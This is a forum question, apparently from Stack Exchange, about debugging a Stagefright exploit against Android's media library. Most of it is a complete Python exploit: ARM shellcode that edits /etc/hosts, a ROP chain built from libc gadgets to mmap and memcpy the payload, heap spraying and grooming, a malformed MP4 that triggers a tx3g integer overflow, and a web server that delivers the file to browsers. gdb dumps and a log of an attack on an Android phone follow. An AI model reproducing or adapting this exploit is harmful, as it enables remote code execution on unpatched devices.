0

I am working with Stagefright exploit... my question is in bold below.

Some background info:

Below is the result of ROP chain/stack that mmap() stuff did including copying with other gadget (with memcpy) shellcode to new address (0xb1000000). See exploit code below.

It does not work as it should, so I tried to set PC register to my shellcode, but it segfaults.

(gdb) x/1000x 0xb1000000
0xb1000000: 0x55555555  0x66666666  0x77777777  0xb6e95b21
0xb1000010: 0xffffffff  0x23232323  0x00000000  0x00000000
0xb1000020: 0xb6ebf78d  0xb1000000  0xb2fff130  0x00000ed0
0xb1000030: 0x33333333  0xb6ec27ac  0x23232323  0x23232323
0xb1000040: 0x23232323  0x23232323  0x23232323  0x23232323
0xb1000050: 0x23232323  0x23232323  0x23232323  0x23232323
0xb1000060: 0x23232323  0x23232323  0x23232323  0x23232323
0xb1000070: 0x23232323  0x23232323  0xb6e8ccb3  0x23232323
0xb1000080: 0x44444444  0x55555555  0x66666666  0x77777777
0xb1000090: 0xb6e8f560  0x44444444  0x55555555  0x66666666
0xb10000a0: 0x77777777  0xb1000001  0x23232323  0x23232323
0xb10000b0: 0x23232323  0x23232323  0x23232323  0x23232323
0xb10000c0: 0x23232323  0x23232323  0xbf00bf00  0xbf00bf00
0xb10000d0: 0xbf00bf00  0xbf00bf00  0xbf00bf00  0xbf00bf00
0xb10000e0: 0xbf00bf00  0xbf00bf00  0xbf00bf00  0xbf00bf00
0xb10000f0: 0xbf00bf00  0xbf00bf00  0xbf00bf00  0xbf00bf00
0xb1000100: 0xbf00bf00  0xbf00bf00  0xbf00bf00  0xbf00bf00
0xb1000110: 0xbf00bf00  0xbf00bf00  0xbf00bf00  0xbf00bf00
0xb1000120: 0xbf00bf00  0xbf00bf00  0xbf00bf00  0xbf00bf00
0xb1000130: 0xbf00bf00  0xbf00bf00  0xbf00bf00  0xbf00bf00
0xb1000140: 0xbf00bf00  0xbf00bf00  0xbf00bf00  0xbf00bf00
0xb1000150: 0xbf00bf00  0xbf00bf00  0xbf00bf00  0xbf00bf00
0xb1000160: 0xbf00bf00  0xbf00bf00  0xbf00bf00  0xbf00bf00
---Type <return> to continue, or q <return> to quit---
0xb1000170: 0xbf00bf00  0xbf00bf00  0xbf00bf00  0xbf00bf00
0xb1000180: 0xbf00bf00  0xbf00bf00  0xbf00bf00  0xbf00bf00
0xb1000190: 0xbf00bf00  0xbf00bf00  0xbf00bf00  0xbf00bf00
0xb10001a0: 0xbf00bf00  0xbf00bf00  0xbf00bf00  0xbf00bf00
0xb10001b0: 0xbf00bf00  0xbf00bf00  0xbf00bf00  0xbf00bf00
0xb10001c0: 0xbf00bf00  0xbf00bf00  0xe28f3001  0xe12fff13
0xb10001d0: 0x1c221b24  0x31ff21ff  0x31ff31ff  0x46783105
0xb10001e0: 0x2705302a  0x2214df01  0x310c4679  0xdf012704
0xb10001f0: 0x1c201b24  0xdf012701  0x2e373231  0x2e312e31
0xb1000200: 0x6f672031  0x656c676f  0x0a6b6c2e  0x6374652f
0xb1000210: 0x6f682f2f  0x00737473  0xcccccccc  0xcccccccc
0xb1000220: 0xcccccccc  0xcccccccc  0xcccccccc  0xcccccccc
0xb1000230: 0xcccccccc  0xcccccccc  0xcccccccc  0xcccccccc
0xb1000240: 0xcccccccc  0xcccccccc  0xcccccccc  0xcccccccc
0xb1000250: 0xcccccccc  0xcccccccc  0xcccccccc  0xcccccccc
0xb1000260: 0xcccccccc  0xcccccccc  0xcccccccc  0xcccccccc


(gdb) x/10x 0xb10001c0+8
0xb10001c8: 0xe28f3001  0xe12fff13  0x1c221b24  0x31ff21ff
0xb10001d8: 0x31ff31ff  0x46783105  0x2705302a  0x2214df01
0xb10001e8: 0x310c4679  0xdf012704
(gdb) set $pc=0xb10001c8
(gdb) cont
Continuing.
[New LWP 17649]

Thread 13 "NuCachedSource2" received signal SIGABRT, Aborted.
0xb10001c8 in ?? ()
(gdb) 

How can I check if the 0xb10001c8 address is executable (X)? Since I suspect it is not and hence the segfault

I tried to do:

cat /proc/PID/maps

But the 0xb10001c8 does not appear there ...

Here is the code I am working with:

#!/usr/bin/python2

import cherrypy
import os
import pwnlib.asm as asm
import pwnlib.elf as elf
import sys
import struct


#with open('shellcode.bin', 'rb') as tmp:
#  shellcode = tmp.read()

shellcode = bytearray(
"\x01\x30\x8f\xe2" 
        "\x13\xff\x2f\xe1"


                    "\x24\x1b"
                    "\x22\x1c"
                    "\xff\x21"
                    "\xff\x31"
                    "\xff\x31"
                    "\xff\x31"
                    "\x05\x31"
                    "\x78\x46"
                    "\x2a\x30"
                    "\x05\x27"
                    "\x01\xdf"
                    "\x14\x22" 
                    "\x79\x46"
                    "\x0c\x31"
                    "\x04\x27"
                    "\x01\xdf"
                    "\x24\x1b"
                    "\x20\x1c"
                    "\x01\x27"
                    "\x01\xdf"
                    "\x31\x32\x37\x2e" 
                    "\x31\x2e\x31\x2e"
                    "\x31\x20\x67\x6f" 
                    "\x6f\x67\x6c\x65"
                    "\x2e\x6c\x6b\x0a"
                    "\x2f\x65\x74\x63"
                    "\x2f\x2f\x68\x6f"
                    "\x73\x74\x73"

)

while len(shellcode) % 4 != 0:
  shellcode += '\x00'

# heap grooming configuration
alloc_size = 0x20
groom_count = 0x4
spray_size = 0x100000
spray_count = 0x10

# address of the buffer we allocate for our shellcode
#mmap_address = 0x90000000
mmap_address =  0xb1000000

# addresses that we need to predict
#libc_base = 0xb6ebd000
##libc_base = 0xb6f2c000
#libc_base = 0xb6eb0000
libc_base = 0xb6e7f000
spray_address =  0xb3000000
#spray_address = 0xb30001d0

# ROP gadget addresses
stack_pivot = None
pop_pc = None
pop_r0_r1_r2_r3_pc = None
pop_r4_r5_r6_r7_pc = None
ldr_lr_bx_lr = None
ldr_lr_bx_lr_stack_pad = 0
mmap64 = None
memcpy = None

def find_arm_gadget(e, gadget):
  gadget_bytes = asm.asm(gadget, arch='arm')
  gadget_address = None
  for address in e.search(gadget_bytes):
    if address % 4 == 0:
      gadget_address = address
      if gadget_bytes == e.read(gadget_address, len(gadget_bytes)):
        print asm.disasm(gadget_bytes, vma=gadget_address, arch='arm')
        break
  return gadget_address

def find_thumb_gadget(e, gadget):
  gadget_bytes = asm.asm(gadget, arch='thumb')
  gadget_address = None
  for address in e.search(gadget_bytes):
    if address % 2 == 0:
      gadget_address = address + 1
      if gadget_bytes == e.read(gadget_address - 1, len(gadget_bytes)):
        print asm.disasm(gadget_bytes, vma=gadget_address-1, arch='thumb')
        break
  return gadget_address

def find_gadget(e, gadget):
  gadget_address = find_thumb_gadget(e, gadget)
  if gadget_address is not None:
    return gadget_address
  return find_arm_gadget(e, gadget)

def find_rop_gadgets(path):
  global memcpy
  global mmap64
  global stack_pivot
  global pop_pc
  global pop_r0_r1_r2_r3_pc
  global pop_r4_r5_r6_r7_pc
  global ldr_lr_bx_lr
  global ldr_lr_bx_lr_stack_pad

  e = elf.ELF(path)
  e.address = libc_base

  memcpy = e.symbols['memcpy']
  print '[*] memcpy : 0x{:08x}'.format(memcpy)
  mmap64 = e.symbols['mmap64']
  print '[*] mmap64 : 0x{:08x}'.format(mmap64)

  # .text:00013344    ADD             R2, R0, #0x4C
  # .text:00013348    LDMIA           R2, {R4-LR}
  # .text:0001334C    TEQ             SP, #0
  # .text:00013350    TEQNE           LR, #0
  # .text:00013354    BEQ             botch_0
  # .text:00013358    MOV             R0, R1
  # .text:0001335C    TEQ             R0, #0
  # .text:00013360    MOVEQ           R0, #1
  # .text:00013364    BX              LR

  pivot_asm = ''
  pivot_asm += 'add   r2, r0, #0x4c\n'
  pivot_asm += 'ldmia r2, {r4 - lr}\n'
  pivot_asm += 'teq   sp, #0\n'
  pivot_asm += 'teqne lr, #0'
  stack_pivot = find_arm_gadget(e, pivot_asm)
  print '[*] stack_pivot : 0x{:08x}'.format(stack_pivot)

  pop_pc_asm = 'pop {pc}'
  pop_pc = find_gadget(e, pop_pc_asm)
  print '[*] pop_pc : 0x{:08x}'.format(pop_pc)

  pop_r0_r1_r2_r3_pc = find_gadget(e, 'pop {r0, r1, r2, r3, pc}')
  print '[*] pop_r0_r1_r2_r3_pc : 0x{:08x}'.format(pop_r0_r1_r2_r3_pc)

  pop_r4_r5_r6_r7_pc = find_gadget(e, 'pop {r4, r5, r6, r7, pc}')
  print '[*] pop_r4_r5_r6_r7_pc : 0x{:08x}'.format(pop_r4_r5_r6_r7_pc)

  ldr_lr_bx_lr_stack_pad = 0
  for i in range(0, 0x100, 4):
    ldr_lr_bx_lr_asm =  'ldr lr, [sp, #0x{:08x}]\n'.format(i)
    ldr_lr_bx_lr_asm += 'add sp, sp, #0x{:08x}\n'.format(i + 8)
    ldr_lr_bx_lr_asm += 'bx  lr'
    ldr_lr_bx_lr = find_gadget(e, ldr_lr_bx_lr_asm)
    if ldr_lr_bx_lr is not None:
      ldr_lr_bx_lr_stack_pad = i
      break

def pad(size):
  return '#' * size

def pb32(val):
  return struct.pack(">I", val)

def pb64(val):
  return struct.pack(">Q", val)

def p32(val):
  return struct.pack("<I", val)

def p64(val):
  return struct.pack("<Q", val)

def chunk(tag, data, length=0):
  if length == 0:
    length = len(data) + 8
  if length > 0xffffffff:
    return pb32(1) + tag + pb64(length)+ data
  return pb32(length) + tag + data

def alloc_avcc(size):
  avcc = 'A' * size
  return chunk('avcC', avcc)

def alloc_hvcc(size):
  hvcc = 'H' * size
  return chunk('hvcC', hvcc)

def sample_table(data):
  stbl = ''
  stbl += chunk('stco', '\x00' * 8)
  stbl += chunk('stsc', '\x00' * 8)
  stbl += chunk('stsz', '\x00' * 12)
  stbl += chunk('stts', '\x00' * 8)
  stbl += data
  return chunk('stbl', stbl)

def memory_leak(size):
  pssh = 'leak'
  pssh += 'L' * 16
  pssh += pb32(size)
  pssh += 'L' * size
  return chunk('pssh', pssh)

def heap_spray(size):
  pssh = 'spry'
  pssh += 'S' * 16
  pssh += pb32(size)

  page = ''

  nop = asm.asm('nop', arch='thumb')
  while len(page) < 0x100:
    page += nop
  page += shellcode
  while len(page) < 0xed0:
    page += '\xcc'

  # MPEG4DataSource fake vtable
  page += p32(stack_pivot)

  # pivot swaps stack then returns to pop {pc}
  page += p32(pop_r0_r1_r2_r3_pc)

  # mmap64(mmap_address, 
  #        0x1000,
  #        PROT_READ | PROT_WRITE | PROT_EXECUTE,
  #        MAP_PRIVATE | MAP_FIXED | MAP_ANONYMOUS,
  #        -1,
  #        0);

  page += p32(mmap_address)             # r0 = address
  page += p32(0x1000)                   # r1 = size
  page += p32(7)                        # r2 = protection
  page += p32(0x32)                     # r3 = flags
  page += p32(ldr_lr_bx_lr)             # pc

  page += pad(ldr_lr_bx_lr_stack_pad)
  page += p32(pop_r4_r5_r6_r7_pc)       # lr
  page += pad(4)

  page += p32(0x44444444)               # r4
  page += p32(0x55555555)               # r5
  page += p32(0x66666666)               # r6
  page += p32(0x77777777)               # r7
  page += p32(mmap64)                   # pc

  page += p32(0xffffffff)               # fd      (and then r4)
  page += pad(4)                        # padding (and then r5)
  page += p64(0)                        # offset  (and then r6, r7)
  page += p32(pop_r0_r1_r2_r3_pc)       # pc

  # memcpy(shellcode_address, 
  #        spray_address + len(rop_stack),
  #        len(shellcode));

  page += p32(mmap_address)             # r0 = dst
  page += p32(spray_address - 0xed0)    # r1 = src
  page += p32(0xed0)                    # r2 = size
  page += p32(0x33333333)               # r3
  page += p32(ldr_lr_bx_lr)             # pc

  page += pad(ldr_lr_bx_lr_stack_pad)
  page += p32(pop_r4_r5_r6_r7_pc)       # lr
  page += pad(4)

  page += p32(0x44444444)               # r4
  page += p32(0x55555555)               # r5
  page += p32(0x66666666)               # r6
  page += p32(0x77777777)               # r7
  page += p32(memcpy)                   # pc

  page += p32(0x44444444)               # r4
  page += p32(0x55555555)               # r5
  page += p32(0x66666666)               # r6
  page += p32(0x77777777)               # r7
  page += p32(mmap_address + 1)         # pc

  while len(page) < 0x1000:
    page += '#'

  pssh += page * (size // 0x1000)

  return chunk('pssh', pssh)

def exploit_mp4():
  ftyp = chunk("ftyp","69736f6d0000000169736f6d".decode("hex"))

  trak = ''

  # heap spray so we have somewhere to land our corrupted vtable 
  # pointer

  # yes, we wrap this in a sample_table for a reason; the 
  # NuCachedSource we will be using otherwise triggers calls to mmap,
  # leaving our large allocations non-contiguous and making our chance
  # of failure pretty high. wrapping in a sample_table means that we
  # wrap the NuCachedSource with an MPEG4Source, making a single 
  # allocation that caches all the data, doubling our heap spray 
  # effectiveness :-)
  trak += sample_table(heap_spray(spray_size) * spray_count)

  # heap groom for our MPEG4DataSource corruption

  # get the default size allocations for our MetaData::typed_data 
  # groom allocations out of the way first, by allocating small blocks
  # instead.
  trak += alloc_avcc(8)
  trak += alloc_hvcc(8)

  # we allocate the initial tx3g chunk here; we'll use the integer 
  # overflow so that the allocated buffer later is smaller than the 
  # original size of this chunk, then overflow all of the following 
  # MPEG4DataSource object and the following pssh allocation; hence why
  # we will need the extra groom allocation (so we don't overwrite 
  # anything sensitive...)

  # | tx3g | MPEG4DataSource | pssh |
  overflow = 'A' * 24

  # | tx3g ----------------> | pssh |
  overflow += p32(spray_address)         # MPEG4DataSource vtable ptr
  #overflow += '0' * 0x48
  overflow += 'B' * 0x48
  overflow += 'C'                    # r4
  overflow += 'D'                    # r5
  overflow += 'E'                    # r6
  overflow += 'F'                    # r7
  overflow += 'G'                    # r8
  overflow += 'H'                    # r9
  overflow += 'I'                    # r10
  overflow += 'J'                    # r11
  overflow += 'K'                    # r12
  overflow += p32(spray_address + 0x20) # sp
  overflow += p32(pop_pc)               # lr

  trak += chunk("tx3g", overflow)

  # defragment the for alloc_size blocks, then make our two
  # allocations. we end up with a spurious block in the middle, from
  # the temporary ABuffer deallocation.

  # | pssh | - | pssh |
  trak += memory_leak(alloc_size) * groom_count

  # | pssh | - | pssh | .... | avcC |
  trak += alloc_avcc(alloc_size)

  # | pssh | - | pssh | .... | avcC | hvcC |
  trak += alloc_hvcc(alloc_size)

  # | pssh | - | pssh | pssh | avcC | hvcC | pssh |
  trak += memory_leak(alloc_size) * 8

  # | pssh | - | pssh | pssh | avcC | .... |
  trak += alloc_hvcc(alloc_size * 2)

  # entering the stbl chunk triggers allocation of an MPEG4DataSource
  # object

  # | pssh | - | pssh | pssh | avcC | MPEG4DataSource | pssh |
  stbl = ''

  # | pssh | - | pssh | pssh | .... | MPEG4DataSource | pssh |
  stbl += alloc_avcc(alloc_size * 2)

  # | pssh | - | pssh | pssh | tx3g | MPEG4DataSource | pssh |
  # | pssh | - | pssh | pssh | tx3g ----------------> |
  overflow_length = (-(len(overflow) - 24) & 0xffffffffffffffff)
  stbl += chunk("tx3g", '', length = overflow_length)

  trak += chunk('stbl', stbl)

  return ftyp + chunk('trak', trak)

index_page = '''
<!DOCTYPE html>
<html>
  <head>
    <title>Stagefrightened!</title>
  </head>
  <body>
    <script>
    window.setTimeout('location.reload(true);', 400000000);
    </script>
    <iframe src='/exploit.mp4'></iframe>
  </body>
</html>
'''

class ExploitServer(object):

  exploit_file = None
  exploit_count = 0

  @cherrypy.expose
  def index(self):
    self.exploit_count += 1
    print '*' * 80
    print 'exploit attempt: ' + str(self.exploit_count)
    print '*' * 80
    return index_page

  @cherrypy.expose(["exploit.mp4"])
  def exploit(self):
    cherrypy.response.headers['Content-Type'] = 'video/mp4'
    cherrypy.response.headers['Content-Encoding'] = 'gzip'

    if self.exploit_file is None:
      exploit_uncompressed = exploit_mp4()
      with open('exploit_uncompressed.mp4', 'wb') as tmp:
        tmp.write(exploit_uncompressed)
      os.system('gzip exploit_uncompressed.mp4')
      with open('exploit_uncompressed.mp4.gz', 'rb') as tmp:
        self.exploit_file = tmp.read()
      os.system('rm exploit_uncompressed.mp4.gz')

    return self.exploit_file

def main():
  find_rop_gadgets('libc.so')
  with open('exploit.mp4', 'wb') as tmp:
    tmp.write(exploit_mp4())
  cherrypy.server.socket_host = '0.0.0.0'
  cherrypy.quickstart(ExploitServer())

if __name__ == '__main__':
  main()

Execution log:

python stage.py 
[*] memcpy : 0xb6e8f560
[*] mmap64 : 0xb6e95b21
b6e8e9b4:       e280204c        add     r2, r0, #76     ; 0x4c
b6e8e9b8:       e8927ff0        ldm     r2, {r4, r5, r6, r7, r8, r9, sl, fp, ip, sp, lr}
b6e8e9bc:       e33d0000        teq     sp, #0
b6e8e9c0:       133e0000        teqne   lr, #0
[*] stack_pivot : 0xb6e8e9b4
b6ec1dc4:       e49df004        pop     {pc}            ; (ldr pc, [sp], #4)
[*] pop_pc : 0xb6ec1dc4
b6ebf78c:       bd0f            pop     {r0, r1, r2, r3, pc}
[*] pop_r0_r1_r2_r3_pc : 0xb6ebf78d
b6e8ccb2:       bdf0            pop     {r4, r5, r6, r7, pc}
[*] pop_r4_r5_r6_r7_pc : 0xb6e8ccb3
b6ec27ac:       e59de040        ldr     lr, [sp, #64]   ; 0x40
b6ec27b0:       e28dd048        add     sp, sp, #72     ; 0x48
b6ec27b4:       e12fff1e        bx      lr
[25/Mar/2017:23:05:32] ENGINE Listening for SIGHUP.
[25/Mar/2017:23:05:32] ENGINE Listening for SIGTERM.
[25/Mar/2017:23:05:32] ENGINE Listening for SIGUSR1.
[25/Mar/2017:23:05:32] ENGINE Bus STARTING
CherryPy Checker:
The Application mounted at '' has an empty config.

[25/Mar/2017:23:05:32] ENGINE Started monitor thread '_TimeoutMonitor'.
[25/Mar/2017:23:05:32] ENGINE Started monitor thread 'Autoreloader'.
[25/Mar/2017:23:05:32] ENGINE Serving on http://0.0.0.0:8080
[25/Mar/2017:23:05:32] ENGINE Bus STARTED
********************************************************************************
exploit attempt: 1
********************************************************************************
192.168.1.3 - - [25/Mar/2017:23:05:56] "GET / HTTP/1.1" 200 234 "" "Mozilla/5.0 (Linux; Android 5.1.1; GT-I9301I Build/LMY49J) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/39.0.0.0 Mobile Safari/537.36"
192.168.1.3 - - [25/Mar/2017:23:05:56] "GET /exploit.mp4 HTTP/1.1" 200 37228 "http://192.168.1.2:8080/" "Mozilla/5.0 (Linux; Android 5.1.1; GT-I9301I Build/LMY49J) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/39.0.0.0 Mobile Safari/537.36"
192.168.1.3 - - [25/Mar/2017:23:05:57] "GET /exploit.mp4 HTTP/1.1" 200 37228 "http://192.168.1.2:8080/exploit.mp4" "Mozilla/5.0 (Linux; Android 5.1.1; GT-I9301I Build/LMY49J) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/39.0.0.0 Mobile Safari/537.36"
192.168.1.3 - - [25/Mar/2017:23:06:01] "GET /exploit.mp4 HTTP/1.1" 200 37228 "" "stagefright/1.2 (Linux;Android 5.1.1)"
^C[25/Mar/2017:23:09:38] ENGINE Keyboard Interrupt: shutting down bus
2
  • I was blind .... I was able to see the page using cat /proc/PID/maps.... the page was there, unfortunalty mapped as rw-p not rwxp ... so opened another question: security.stackexchange.com/questions/154933/…
    – dev
    Commented Mar 26, 2017 at 10:50
  • Page not found.
    – viv
    Commented Sep 7, 2017 at 7:11

0

You must log in to answer this question.

Browse other questions tagged .